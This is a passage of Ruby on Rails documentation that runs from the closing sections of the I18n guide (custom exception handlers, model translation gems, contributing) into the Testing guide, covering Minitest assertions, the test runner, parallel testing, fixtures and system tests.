MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
ReservedInterpolationKey     # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
UnknownFileType              # the backend does not know how to handle a file type that was added to I18n.load_path

The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for MissingTranslationData exceptions. When a MissingTranslationData exception has been caught, it will return the exception's error message string containing the missing key/scope.

The reason for this is that during development you'd usually want your views to still render even though a translation is missing.

In other contexts you might want to change this behavior, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with a call method:

  module I18n
  class JustRaiseExceptionHandler < ExceptionHandler
    def call(exception, locale, key, options)
      if exception.is_a?(MissingTranslation)
        raise exception.to_exception
      else
        super
      end
    end
  end
end

I18n.exception_handler = I18n::JustRaiseExceptionHandler.new

This would re-raise only the MissingTranslationData exception, passing all other input to the default exception handler.

However, if you are using I18n::Backend::Pluralization this handler will also raise I18n::MissingTranslationData: translation missing: en.i18n.plural.rule exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use an additional check for the translation key:

  if exception.is_a?(MissingTranslation) && key.to_s != 'i18n.plural.rule'
  raise exception.to_exception
else
  super
end

Another example where the default behavior is less desirable is the Rails TranslationHelper which provides the method #t (as well as #translate). When a MissingTranslationData exception occurs in this context, the helper wraps the message into a span with the CSS class translation_missing.

To do so, the helper forces I18n#translate to raise exceptions no matter what exception handler is defined by setting the :raise option:

  I18n.t :foo, raise: true # always re-raises exceptions from the backend

7 Translating Model Content

The I18n API described in this guide is primarily intended for translating interface strings. If you are looking to translate model content (e.g. blog posts), you will need a different solution to help with this.

Several gems can help with this:

Mobility: Provides support for storing translations in many formats, including translation tables, json columns (PostgreSQL), etc.

Traco: Translatable columns stored in the model table itself

8 Conclusion

At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.

9 Contributing to Rails I18n

I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in gems and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.

Thus we encourage everybody to experiment with new ideas and features in gems or other libraries and make them available to the community. (Don't forget to announce your work on our mailing list!)

If you find your own locale (language) missing from our example translations data repository for Ruby on Rails, please fork the repository, add your data, and send a pull request.

10 Resources

Google group: rails-i18n - The project's mailing list.

GitHub: rails-i18n - Code repository and issue tracker for the rails-i18n project. Most importantly you can find lots of example translations for Rails that should work for your application in most cases.

GitHub: i18n - Code repository and issue tracker for the i18n gem.

11 Authors

Sven Fuchs (initial author)

Karel Minařík

12 Footnotes

¹ Or, to quote Wikipedia: "Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."

² Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.

³ One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.

Testing Rails Applications

This guide covers built-in mechanisms in Rails for testing your application.

After reading this guide, you will know:

Rails testing terminology.

How to write unit, functional, integration, and system tests for your application.

Other popular testing approaches and plugins.

Chapters

Why Write Tests for Your Rails Applications?

Introduction to Testing

Rails Sets up for Testing from the Word Go

The Test Environment

Rails Meets Minitest

Available Assertions

Rails Specific Assertions

A Brief Note About Test Cases

The Rails Test Runner

Parallel Testing

Parallel Testing with Processes

Parallel Testing with Threads

Testing Parallel Transactions

Threshold to parallelize tests

The Test Database

Maintaining the Test Database Schema

The Low-Down on Fixtures

Model Testing

System Testing

Changing the Default Settings

Screenshot Helper

Implementing a System Test

Integration Testing

Helpers Available for Integration Tests

Implementing an Integration Test

Functional Tests for Your Controllers

What to Include in Your Functional Tests

Available Request Types for Functional Tests

Testing XHR (AJAX) Requests

The Three Hashes of the Apocalypse

Instance Variables Available

Setting Headers and CGI Variables

Testing flash Notices

Putting It Together

Test Helpers

Testing Routes

Testing Views

Additional View-Based Assertions

Testing Helpers

Testing Your Mailers

Keeping the Postman in Check

Unit Testing

Functional and System Testing

Testing Jobs

A Basic Test Case

Custom Assertions and Testing Jobs inside Other Components

Testing Action Cable

Connection Test Case

Channel Test Case

Custom Assertions And Testing Broadcasts Inside Other Components

Testing Eager Loading

Continuous Integration

Bare Test Suites

Additional Testing Resources

Testing Time-Dependent Code

1 Why Write Tests for Your Rails Applications?

Rails makes it super easy to write your tests. It starts by producing skeleton test code while you are creating your models and controllers.

By running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.

Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.

2 Introduction to Testing

Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany.

2.1 Rails Sets up for Testing from the Word Go

Rails creates a test directory for you as soon as you create a Rails project using rails new application_name. If you list the contents of this directory then you shall see:

  $ ls -F test
application_system_test_case.rb  controllers/                     helpers/                         mailers/                         system/
channels/                        fixtures/                        integration/                     models/                          test_helper.rb

The helpers, mailers, and models directories are meant to hold tests for view helpers, mailers, and models, respectively. The channels directory is meant to hold tests for Action Cable connection and channels. The controllers directory is meant to hold tests for controllers, routes, and views. The integration directory is meant to hold tests for interactions between controllers.

The system test directory holds system tests, which are used for full browser testing of your application. System tests allow you to test your application the way your users experience it and help you test your JavaScript as well. System tests inherit from Capybara and perform in browser tests for your application.

Fixtures are a way of organizing test data; they reside in the fixtures directory.

A jobs directory will also be created when an associated test is first generated.

The test_helper.rb file holds the default configuration for your tests.

The application_system_test_case.rb holds the default configuration for your system tests.

2.2 The Test Environment

By default, every Rails application has three environments: development, test, and production.

Each environment's configuration can be modified similarly. In this case, we can modify our test environment by changing the options found in config/environments/test.rb.

Your tests are run under RAILS_ENV=test.

2.3 Rails Meets Minitest

If you remember, we used the bin/rails generate model command in the Getting Started with Rails guide. We created our first model, and among other things it created test stubs in the test directory:

  $ bin/rails generate model article title:string body:text
...
create  app/models/article.rb
create  test/models/article_test.rb
create  test/fixtures/articles.yml
...

The default test stub in test/models/article_test.rb looks like this:

  require "test_helper"

class ArticleTest < ActiveSupport::TestCase
  # test "the truth" do
  #   assert true
  # end
end

A line by line examination of this file will help get you oriented to Rails testing code and terminology.

  require "test_helper"

By requiring this file, test_helper.rb the default configuration to run our tests is loaded. We will include this with all the tests we write, so any methods added to this file are available to all our tests.

  class ArticleTest < ActiveSupport::TestCase

The ArticleTest class defines a test case because it inherits from ActiveSupport::TestCase. ArticleTest thus has all the methods available from ActiveSupport::TestCase. Later in this guide, we'll see some of the methods it gives us.

Any method defined within a class inherited from Minitest::Test (which is the superclass of ActiveSupport::TestCase) that begins with test_ is simply called a test. So, methods defined as test_password and test_valid_password are legal test names and are run automatically when the test case is run.

Rails also adds a test method that takes a test name and a block. It generates a normal Minitest::Unit test with method names prefixed with test_. So you don't have to worry about naming the methods, and you can write something like:

  test "the truth" do
  assert true
end

Which is approximately the same as writing this:

  def test_the_truth
  assert true
end

Although you can still use regular method definitions, using the test macro allows for a more readable test name.

The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though — the name may contain punctuation characters, etc. That's because in Ruby technically any string may be a method name. This may require use of define_method and send calls to function properly, but formally there's little restriction on the name.

Next, let's look at our first assertion:

  assert true

An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:

does this value = that value?

is this object nil?

does this line of code throw an exception?

is the user's password greater than 5 characters?

Every test may contain one or more assertions, with no restriction as to how many assertions are allowed. Only when all the assertions are successful will the test pass.

2.3.1 Your First Failing Test

To see how a test failure is reported, you can add a failing test to the article_test.rb test case.

  test "should not save article without title" do
  article = Article.new
  assert_not article.save
end

Let us run this newly added test (where 6 is the number of line where the test is defined).

  $ bin/rails test test/models/article_test.rb:6
Run options: --seed 44656

# Running:

F

Failure:
ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:6]:
Expected true to be nil or false

rails test test/models/article_test.rb:6

Finished in 0.023918s, 41.8090 runs/s, 41.8090 assertions/s.

1 runs, 1 assertions, 1 failures, 0 errors, 0 skips

In the output, F denotes a failure. You can see the corresponding trace shown under Failure along with the name of the failing test. The next few lines contain the stack trace followed by a message that mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:

  test "should not save article without title" do
  article = Article.new
  assert_not article.save, "Saved the article without a title"
end

Running this test shows the friendlier assertion message:

  Failure:
ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:6]:
Saved the article without a title

Now to get this test to pass we can add a model level validation for the title field.

  class Article < ApplicationRecord
  validates :title, presence: true
end

Now the test should pass. Let us verify by running the test again:

  $ bin/rails test test/models/article_test.rb:6
Run options: --seed 31252

# Running:

.

Finished in 0.027476s, 36.3952 runs/s, 36.3952 assertions/s.

1 runs, 1 assertions, 0 failures, 0 errors, 0 skips

Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as Test-Driven Development (TDD).

2.3.2 What an Error Looks Like

To see how an error gets reported, here's a test containing an error:

  test "should report error" do
  # some_undefined_variable is not defined elsewhere in the test case
  some_undefined_variable
  assert true
end

Now you can see even more output in the console from running the tests:

  $ bin/rails test test/models/article_test.rb
Run options: --seed 1808

# Running:

.E

Error:
ArticleTest#test_should_report_error:
NameError: undefined local variable or method 'some_undefined_variable' for #<ArticleTest:0x007fee3aa71798>
    test/models/article_test.rb:11:in 'block in <class:ArticleTest>'

rails test test/models/article_test.rb:9

Finished in 0.040609s, 49.2500 runs/s, 24.6250 assertions/s.

2 runs, 1 assertions, 0 failures, 1 errors, 0 skips

Notice the 'E' in the output. It denotes a test with error.

The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in random order. The config.active_support.test_order option can be used to configure test order.

When a test fails you are presented with the corresponding backtrace. By default Rails filters that backtrace and will only print lines relevant to your application. This eliminates the framework noise and helps to focus on your code. However there are situations when you want to see the full backtrace. Set the -b (or --backtrace) argument to enable this behavior:

  $ bin/rails test -b test/models/article_test.rb

If we want this test to pass we can modify it to use assert_raises like so:

  test "should report error" do
  # some_undefined_variable is not defined elsewhere in the test case
  assert_raises(NameError) do
    some_undefined_variable
  end
end

This test should now pass.

2.4 Available Assertions

By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.

Here's an extract of the assertions you can use with Minitest, the default testing library used by Rails. The [msg] parameter is an optional string message you can specify to make your test failure messages clearer.

Assertion | Purpose
assert( test, [msg] ) | Ensures that test is true.
assert_not( test, [msg] ) | Ensures that test is false.
assert_equal( expected, actual, [msg] ) | Ensures that expected == actual is true.
assert_not_equal( expected, actual, [msg] ) | Ensures that expected != actual is true.
assert_same( expected, actual, [msg] ) | Ensures that expected.equal?(actual) is true.
assert_not_same( expected, actual, [msg] ) | Ensures that expected.equal?(actual) is false.
assert_nil( obj, [msg] ) | Ensures that obj.nil? is true.
assert_not_nil( obj, [msg] ) | Ensures that obj.nil? is false.
assert_empty( obj, [msg] ) | Ensures that obj is empty?.
assert_not_empty( obj, [msg] ) | Ensures that obj is not empty?.
assert_match( regexp, string, [msg] ) | Ensures that a string matches the regular expression.
assert_no_match( regexp, string, [msg] ) | Ensures that a string doesn't match the regular expression.
assert_includes( collection, obj, [msg] ) | Ensures that obj is in collection.
assert_not_includes( collection, obj, [msg] ) | Ensures that obj is not in collection.
assert_in_delta( expected, actual, [delta], [msg] ) | Ensures that the numbers expected and actual are within delta of each other.
assert_not_in_delta( expected, actual, [delta], [msg] ) | Ensures that the numbers expected and actual are not within delta of each other.
assert_in_epsilon ( expected, actual, [epsilon], [msg] ) | Ensures that the numbers expected and actual have a relative error less than epsilon.
assert_not_in_epsilon ( expected, actual, [epsilon], [msg] ) | Ensures that the numbers expected and actual have a relative error not less than epsilon.
assert_throws( symbol, [msg] ) { block } | Ensures that the given block throws the symbol.
assert_raises( exception1, exception2, ... ) { block } | Ensures that the given block raises one of the given exceptions.
assert_instance_of( class, obj, [msg] ) | Ensures that obj is an instance of class.
assert_not_instance_of( class, obj, [msg] ) | Ensures that obj is not an instance of class.
assert_kind_of( class, obj, [msg] ) | Ensures that obj is an instance of class or is descending from it.
assert_not_kind_of( class, obj, [msg] ) | Ensures that obj is not an instance of class and is not descending from it.
assert_respond_to( obj, symbol, [msg] ) | Ensures that obj responds to symbol.
assert_not_respond_to( obj, symbol, [msg] ) | Ensures that obj does not respond to symbol.
assert_operator( obj1, operator, [obj2], [msg] ) | Ensures that obj1.operator(obj2) is true.
assert_not_operator( obj1, operator, [obj2], [msg] ) | Ensures that obj1.operator(obj2) is false.
assert_predicate ( obj, predicate, [msg] ) | Ensures that obj.predicate is true, e.g. assert_predicate str, :empty?
assert_not_predicate ( obj, predicate, [msg] ) | Ensures that obj.predicate is false, e.g. assert_not_predicate str, :empty?
flunk( [msg] ) | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.

The above are a subset of assertions that minitest supports. For an exhaustive & more up-to-date list, please check Minitest API documentation, specifically Minitest::Assertions.

Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.

Creating your own assertions is an advanced topic that we won't cover in this tutorial.

2.5 Rails Specific Assertions

Rails adds some custom assertions of its own to the minitest framework:

Assertion
Purpose

assert_difference(expressions, difference = 1, message = nil) {...}
Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.

assert_no_difference(expressions, message = nil, &block)
Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.

assert_changes(expressions, message = nil, from:, to:, &block)
Test that the result of evaluating an expression is changed after invoking the passed in block.

assert_no_changes(expressions, message = nil, &block)
Test the result of evaluating an expression is not changed after invoking the passed in block.

assert_nothing_raised { block }
Ensures that the given block doesn't raise any exceptions.

assert_recognizes(expected_options, path, extras={}, message=nil)
Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.

assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)
Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.

assert_response(type, message = nil)
Asserts that the response comes with a specific status code. You can specify :success to indicate 200-299, :redirect to indicate 300-399, :missing to indicate 404, or :error to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see full list of status codes and how their mapping works.

assert_redirected_to(options = {}, message=nil)
Asserts that the response is a redirect to a URL matching the given options. You can also pass named routes such as assert_redirected_to root_path and Active Record objects such as assert_redirected_to @article.

You'll see the usage of some of these assertions in the next chapter.

2.6 A Brief Note About Test Cases

All the basic assertions such as assert_equal defined in Minitest::Assertions are also available in the classes we use in our own test cases. In fact, Rails provides the following classes for you to inherit from:

ActiveSupport::TestCase

ActionMailer::TestCase

ActionView::TestCase

ActiveJob::TestCase

ActionDispatch::IntegrationTest

ActionDispatch::SystemTestCase

Rails::Generators::TestCase

Each of these classes include Minitest::Assertions, allowing us to use all of the basic assertions in our tests.

For more information on Minitest, refer to its documentation.

2.7 The Rails Test Runner

We can run all of our tests at once by using the bin/rails test command.

Or we can run a single test file by passing the bin/rails test command the filename containing the test cases.

  $ bin/rails test test/models/article_test.rb
Run options: --seed 1559

# Running:

..

Finished in 0.027034s, 73.9810 runs/s, 110.9715 assertions/s.

2 runs, 3 assertions, 0 failures, 0 errors, 0 skips

This will run all test methods from the test case.

You can also run a particular test method from the test case by providing the -n or --name flag and the test's method name.

  $ bin/rails test test/models/article_test.rb -n test_the_truth
Run options: -n test_the_truth --seed 43583

# Running:

.

Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s.

1 tests, 1 assertions, 0 failures, 0 errors, 0 skips

You can also run a test at a specific line by providing the line number.

  $ bin/rails test test/models/article_test.rb:6 # run specific test and line

You can also run an entire directory of tests by providing the path to the directory.

  $ bin/rails test test/controllers # run all tests from specific directory

The test runner also provides a lot of other features like failing fast, deferring test output at the end of the test run and so on. Check the documentation of the test runner as follows:

  $ bin/rails test -h
Usage: rails test [options] [files or directories]

You can run a single test by appending a line number to a filename:

    bin/rails test test/models/user_test.rb:27

You can run multiple files and directories at the same time:

    bin/rails test test/controllers test/integration/login_test.rb

By default test failures and errors are reported inline during a run.

minitest options:
    -h, --help                       Display this help.
        --no-plugins                 Bypass minitest plugin auto-loading (or set $MT_NO_PLUGINS).
    -s, --seed SEED                  Sets random seed. Also via env. Eg: SEED=n rake
    -v, --verbose                    Verbose. Show progress processing files.
    -n, --name PATTERN               Filter run on /regexp/ or string.
        --exclude PATTERN            Exclude /regexp/ or string from run.

Known extensions: rails, pride
    -w, --warnings                   Run with Ruby warnings enabled
    -e, --environment ENV            Run tests in the ENV environment
    -b, --backtrace                  Show the complete backtrace
    -d, --defer-output               Output test failures and errors after the test run
    -f, --fail-fast                  Abort test run on first failure or error
    -c, --[no-]color                 Enable color in the output
    -p, --pride                      Pride. Show your testing pride!

3 Parallel Testing

Parallel testing allows you to parallelize your test suite. While forking processes is the default method, threading is supported as well. Running tests in parallel reduces the time it takes your entire test suite to run.

3.1 Parallel Testing with Processes

The default parallelization method is to fork processes using Ruby's DRb system. The processes are forked based on the number of workers provided. The default number is the actual core count on the machine you are on, but can be changed by the number passed to the parallelize method.

To enable parallelization add the following to your test_helper.rb:

  class ActiveSupport::TestCase
  parallelize(workers: 2)
end

The number of workers passed is the number of times the process will be forked. You may want to parallelize your local test suite differently from your CI, so an environment variable is provided to be able to easily change the number of workers a test run should use:

  $ PARALLEL_WORKERS=15 bin/rails test

When parallelizing tests, Active Record automatically handles creating a database and loading the schema into the database for each process. The databases will be suffixed with the number corresponding to the worker. For example, if you have 2 workers the tests will create test-database-0 and test-database-1 respectively.

If the number of workers passed is 1 or fewer the processes will not be forked and the tests will not be parallelized and the tests will use the original test-database database.

Two hooks are provided, one runs when the process is forked, and one runs before the forked process is closed. These can be useful if your app uses multiple databases or performs other tasks that depend on the number of workers.

The parallelize_setup method is called right after the processes are forked. The parallelize_teardown method is called right before the processes are closed.

  class ActiveSupport::TestCase
  parallelize_setup do |worker|
    # setup databases
  end

  parallelize_teardown do |worker|
    # cleanup databases
  end

  parallelize(workers: :number_of_processors)
end

These methods are not needed or available when using parallel testing with threads.

3.2 Parallel Testing with Threads

If you prefer using threads or are using JRuby, a threaded parallelization option is provided. The threaded parallelizer is backed by Minitest's Parallel::Executor.

To change the parallelization method to use threads over forks put the following in your test_helper.rb

  class ActiveSupport::TestCase
  parallelize(workers: :number_of_processors, with: :threads)
end

Rails applications generated from JRuby or TruffleRuby will automatically include the with: :threads option.

The number of workers passed to parallelize determines the number of threads the tests will use. You may want to parallelize your local test suite differently from your CI, so an environment variable is provided to be able to easily change the number of workers a test run should use:

  $ PARALLEL_WORKERS=15 bin/rails test

3.3 Testing Parallel Transactions

Rails automatically wraps any test case in a database transaction that is rolled back after the test completes. This makes test cases independent of each other and changes to the database are only visible within a single test.

When you want to test code that runs parallel transactions in threads, transactions can block each other because they are already nested under the test transaction.

You can disable transactions in a test case class by setting self.use_transactional_tests = false:

  class WorkerTest < ActiveSupport::TestCase
  self.use_transactional_tests = false

  test "parallel transactions" do
    # start some threads that create transactions
  end
end

With disabled transactional tests, you have to clean up any data tests create as changes are not automatically rolled back after the test completes.

3.4 Threshold to parallelize tests

Running tests in parallel adds an overhead in terms of database setup and fixture loading. Because of this, Rails won't parallelize executions that involve fewer than 50 tests.

You can configure this threshold in your test.rb:

  config.active_support.test_parallelization_threshold = 100

And also when setting up parallelization at the test case level:

  class ActiveSupport::TestCase
  parallelize threshold: 100
end

4 The Test Database

Just about every Rails application interacts heavily with a database and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.

By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in config/database.yml.

A dedicated test database allows you to set up and interact with test data in isolation. This way your tests can mangle test data with confidence, without worrying about the data in the development or production databases.

4.1 Maintaining the Test Database Schema

In order to run your tests, your test database will need to have the current structure. The test helper checks whether your test database has any pending migrations. It will try to load your db/schema.rb or db/structure.sql into the test database. If migrations are still pending, an error will be raised. Usually this indicates that your schema is not fully migrated. Running the migrations against the development database (bin/rails db:migrate) will bring the schema up to date.

If there were modifications to existing migrations, the test database needs to be rebuilt. This can be done by executing bin/rails db:test:prepare.

4.2 The Low-Down on Fixtures

For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures. You can find comprehensive documentation in the Fixtures API documentation.

4.2.1 What are Fixtures?

Fixtures is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and written in YAML. There is one file per model.

Fixtures are not designed to create every object that your tests need, and are best managed when only used for default data that can be applied to the common case.

You'll find fixtures under your test/fixtures directory. When you run bin/rails generate model to create a new model, Rails automatically creates fixture stubs in this directory.

4.2.2 YAML

YAML-formatted fixtures are a human-friendly way to describe your sample data. These types of fixtures have the .yml file extension (as in users.yml).

Here's a sample YAML fixture file:

  # lo & behold! I am a YAML comment!
david:
  name: David Heinemeier Hansson
  birthday: 1979-10-15
  profession: Systems development

steve:
  name: Steve Ross Kellock
  birthday: 1974-09-27
  profession: guy with keyboard

Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank line. You can place comments in a fixture file by using the # character in the first column.

If you are working with associations, you can define a reference node between two different fixtures. Here's an example with a belongs_to/has_many association:

  # test/fixtures/categories.yml
about:
  name: About

  # test/fixtures/articles.yml
first:
  title: Welcome to Rails!
  category: about

  # test/fixtures/action_text/rich_texts.yml
first_content:
  record: first (Article)
  name: content
  body: <div>Hello, from <strong>a fixture</strong></div>

Notice the category key of the first Article found in fixtures/articles.yml has a value of about, and that the record key of the first_content entry found in fixtures/action_text/rich_texts.yml has a value of first (Article). This hints to Active Record to load the Category about found in fixtures/categories.yml for the former, and Action Text to load the Article first found in fixtures/articles.yml for the latter.

For associations to reference one another by name, you can use the fixture name instead of specifying the id: attribute on the associated fixtures. Rails will auto assign a primary key to be consistent between runs. For more information on this association behavior please read the Fixtures API documentation.

4.2.3 File Attachment Fixtures

Like other Active Record-backed models, Active Storage attachment records inherit from ActiveRecord::Base instances and can therefore be populated by fixtures.

Consider an Article model that has an associated image as a thumbnail attachment, along with fixture data YAML:

  class Article
  has_one_attached :thumbnail
end

  # test/fixtures/articles.yml
first:
  title: An Article

Assuming that there is an image/png encoded file at test/fixtures/files/first.png, the following YAML fixture entries will generate the related ActiveStorage::Blob and ActiveStorage::Attachment records:

  # test/fixtures/active_storage/blobs.yml
first_thumbnail_blob: <%= ActiveStorage::FixtureSet.blob filename: "first.png" %>

  # test/fixtures/active_storage/attachments.yml
first_thumbnail_attachment:
  name: thumbnail
  record: first (Article)
  blob: first_thumbnail_blob

4.2.4 ERB'in It Up

ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users:

  <% 1000.times do |n| %>
user_<%= n %>:
  username: <%= "user#{n}" %>
  email: <%= "user#{n}@example.com" %>
<% end %>

4.2.5 Fixtures in Action

Rails automatically loads all fixtures from the test/fixtures directory by default. Loading involves three steps:

Remove any existing data from the table corresponding to the fixture

Load the fixture data into the table

Dump the fixture data into a method in case you want to access it directly

In order to remove existing data from the database, Rails tries to disable referential integrity triggers (like foreign keys and check constraints). If you are getting annoying permission errors on running tests, make sure the database user has privilege to disable these triggers in testing environment. (In PostgreSQL, only superusers can disable all triggers. Read more about PostgreSQL permissions here).

4.2.6 Fixtures are Active Record Objects

Fixtures are instances of Active Record. As mentioned in point #3 above, you can access the object directly because it is automatically available as a method whose scope is local of the test case. For example:

  # this will return the User object for the fixture named david
users(:david)

# this will return the property for david called id
users(:david).id

# one can also access methods available on the User class
david = users(:david)
david.call(david.partner)

To get multiple fixtures at once, you can pass in a list of fixture names. For example:

  # this will return an array containing the fixtures david and steve
users(:david, :steve)

5 Model Testing

Model tests are used to test the various models of your application.

Rails model tests are stored under the test/models directory. Rails provides a generator to create a model test skeleton for you.

  $ bin/rails generate test_unit:model article title:string body:text
create  test/models/article_test.rb
create  test/fixtures/articles.yml

Model tests don't have their own superclass like ActionMailer::TestCase. Instead, they inherit from ActiveSupport::TestCase.

6 System Testing

System tests allow you to test user interactions with your application, running tests in either a real or a headless browser. System tests use Capybara under the hood.

For creating Rails system tests, you use the test/system directory in your application. Rails provides a generator to create a system test skeleton for you.

  $ bin/rails generate system_test users
      invoke test_unit
      create test/system/users_test.rb

Here's what a freshly generated system test looks like:

  require "application_system_test_case"

class UsersTest < ApplicationSystemTestCase
  # test "visiting the index" do
  #   visit users_url
  #
  #   assert_selector "h1", text: "Users"
  # end
end

By default, system tests are run with the Selenium driver, using the Chrome browser, and a screen size of 1400x1400. The next section explains how to change the default settings.

6.1 Changing the Default Settings

Rails makes changing the default settings for system tests very simple. All the setup is abstracted away so you can focus on writing your tests.

When you generate a new application or scaffold, an application_system_test_case.rb file is created in the test directory. This is where all the configuration for your system tests should live.

If you want to change the default settings you can change what the system tests are "driven by". Say you want to change the driver from Selenium to Cuprite. First add the cuprite gem to your Gemfile. Then in your application_system_test_case.rb file do the following:

  require "test_helper"
require "capybara/cuprite"

class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
  driven_by :cuprite
end

The driver name is a required argument for driven_by. The optional arguments that can be passed to driven_by are :using for the browser (this will only be used by Selenium), :screen_size to change the size of the screen for screenshots, and :options which can be used to set options supported by the driver.

  require "test_helper"

class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
  driven_by :selenium, using: :firefox
end

If you want to use a headless browser, you could use Headless Chrome or Headless Firefox by adding headless_chrome or headless_firefox in the :using argument.

  require "test_helper"

class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
  driven_by :selenium, using: :headless_chrome
end

If your Capybara configuration requires more setup than provided by Rails, this additional configuration could be added into the application_system_test_case.rb file.

Please see Capybara's documentation for additional settings.

6.2 Screenshot Helper

The ScreenshotHelper is a helper designed to capture screenshots of your tests. This can be helpful for viewing the browser at the point a test failed, or to view screenshots later for debugging.

Two methods are provided: take_screenshot and take_failed_screenshot. take_failed_screenshot is automatically included in before_teardown inside Rails.

The take_screenshot helper method can be included anywhere in your tests to take a screenshot of the browser.

6.3 Implementing a System Test

Now we're going to add a system test to our blog application. We'll demonstrate writing a system test by visiting the index page and creating a new blog article.

If you used the scaffold generator, a system test skeleton was automatically created for you. If you didn't use the scaffold generator, start by creating a system test skeleton.

  $ bin/rails generate system_test articles

It should have created a test file placeholder for us. With the output of the previous command you should see:

        invoke  test_unit
      create    test/system/articles_test.rb

Now let's open that file and write our first assertion:

  require "application_system_test_case"

class ArticlesTest < ApplicationSystemTestCase
  test "viewing the index" do
    visit articles_path
    assert_selector "h1", text: "Articles"
  end
end

The test should see that there is an h1 on the articles index page and pass.

Run the system tests.

  $ bin/rails test:system

By default, running bin/rails test won't run your system tests. Make sure to run bin/rails test:system to actually run them. You can also run bin/rails test:all to run all tests, including system tests.

6.3.1 Creating Articles System Test

Now let's test the flow for creating a new article in our blog.

  test "should create Article" do
  visit articles_path

  click_on "New Article"

  fill_in "Title", with: "Creating an Article"
  fill_in "Body", with: "Created this article successfully!"

  click_on "Create Article"

  assert_text "Creating an Article"
end

The first step is to call visit articles_path. This will take the test to the articles index page.

Then the click_on "New Article" will find the "New Article" button on the index page. This will redirect the browser to /articles/new.

Then the test will fill in the title and body of the article with the specified text. Once the fields are filled in, "Create Article" is clicked on which will send a POST request to create the new article in the database.

We will be redirected back to the articles index page and there we assert that the text from the new article's title is on the articles index page.

6.3.2 Testing for Multiple Screen Sizes

If you want to test for mobile sizes on top of testing for desktop, you can create another class that inherits from ActionDispatch::SystemTestCase and use it in your test suite. In this example a file called mobile_system_test_case.rb is created in the /test directory with the following configuration.

  require "test_helper"

class MobileSystemTestCase < ActionDispatch::SystemTestCase
  driven_by :selenium, using: :chrome, screen_size: [375, 667]
end

To use this configuration, create a test inside test/system that inherits from MobileSystemTestCase. Now you can test your app using multiple different configurations.

  require "mobile_system_test_case"

class PostsTest < MobileSystemTestCase

  test "visiting the index" do
    visit posts_url
    assert_selector "h1", text: "Posts"
  end
end

6.3.3 Taking It Further

The beauty of system testing is that it is similar to integration testing in that it tests the user's interaction with your controller, model, and view, but system testing is much more robust and actually tests your application as if a real user were using it. Going forward, you can test anything that the user themselves would do in your application such as commenting, deleting articles, publishing draft articles, etc.

7 Integration Testing

Integration tests are used to test how various parts of our application interact. They are generally used to test important workflows within our application.

For creating Rails integration tests, we use the test/integration directory for our application. Rails provides a generator to create an integration test skeleton for us.

  $ bin/rails generate integration_test user_flows
      exists  test/integration/
      create  test/integration/user_flows_test.rb

Here's what a freshly generated integration test looks like:

  require "test_helper"

class UserFlowsTest < ActionDispatch::IntegrationTest
  # test "the truth" do
  #   assert true
  # end
end

Here the test is inheriting from ActionDispatch::IntegrationTest. This makes some additional helpers available for us to use in our integration tests.

7.1 Helpers Available for Integration Tests

In addition to the standard testing helpers, inheriting from ActionDispatch::IntegrationTest comes with some additional helpers available when writing integration tests. Let's get briefly introduced to the three categories of helpers we get to choose from.

For dealing with the integration test runner, see ActionDispatch::Integration::Runner.

